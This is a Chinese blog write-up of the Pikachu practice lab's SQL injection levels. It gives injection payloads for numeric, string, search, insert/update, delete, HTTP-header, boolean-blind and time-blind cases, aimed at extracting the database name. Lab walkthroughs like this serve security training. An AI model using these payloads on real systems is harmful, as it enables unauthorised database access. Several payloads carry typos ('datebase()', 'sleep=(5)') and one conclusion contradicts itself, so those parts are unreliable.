pikachu靶场之SQL注入

0x00 前言

手工注入忘的差不多了。。。还是需要多多练习
以下关卡都是稍微测以下存不存在sql注入,查下数据库名啥的
没有将所有字段都爆出来。
冲鸭~

0x01 数字型注入(post)

因为是数字型,直接在后面加上真命题,不需要加单引号测试
在这里插入图片描述

0x02 字符型注入(get)

加单引号报错,说明存在sql注入
在这里插入图片描述
再加上真命题查询到all
在这里插入图片描述

0x03 搜索型注入

加单引号,sql语句报错
Payload:

li’ or 1=1 --+

加上真命题回显all
在这里插入图片描述
Payload:

li' and length(database())=7 --+

测得数据库长度为7时正常回显
说明数据库长度为7
在这里插入图片描述
测数据库名

and ascii(substr(database(),x,1))=n

X:库名第几位(1-7)
N:该位对应的ascii码值
对n进行爆破(65-122)
在这里插入图片描述
最后得到数据库名:pikachu

0x04 xx型注入

加单引号

0x05 insert/update注入

1.insert注入
测试模块:注册处
令用户名为quan’
在这里插入图片描述
Payload:

quan' or updatexml(1,concat(0x7e,database()),0) or'

在这里插入图片描述
2.Update注入
先登录进去,然后在修改资料处填写信息抓包
Payload:

quan' or updatexml(1,concat(0x7e,database()),0) or'

在这里插入图片描述

0x06 delete注入

先留言,点击删除时抓包
在这里插入图片描述
Payload:

62 or updatexml (1,concat(0x7e,datebase()),0)

在bp中Ctrl+U 对payload进行url编码
在这里插入图片描述

0x07 http header注入

1.UA头
在这里插入图片描述
Payload:

1' or updatexml (1,concat(0x7e,datebase()),0) or '

在这里插入图片描述
2.COOKIE
cookie中的admin也是一个注入点
在这里插入图片描述

0x08 盲注(base on boolian)

只有加and 1=1#才能返回个人信息,or 1=1#都报错:您输入的username不存在,请重新输入!
在这里插入图片描述
利用and 1=1构造payload
Payload:

kobe' and ascii(substr(database(),1,1))=112#

在这里插入图片描述

0x09 盲注(base on time)

payload:

kobe’ and sleep(5)#

在这里插入图片描述
可以看到时间线是5s,说明存在基于时间的盲注
在这里插入图片描述
Payload:

kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)#

此时1ms就返回结果,说明数据库名第一位不是a
将a改为p,则一直不返回结果
说明数据库名第一位不是a

0x10 宽字节注入

emmmm还没写出来,下次吧
先下班了,肥宅大哭?

posted @ 2019-12-18 20:28  吃不胖的ruanruan  阅读(2255)  评论(0编辑  收藏  举报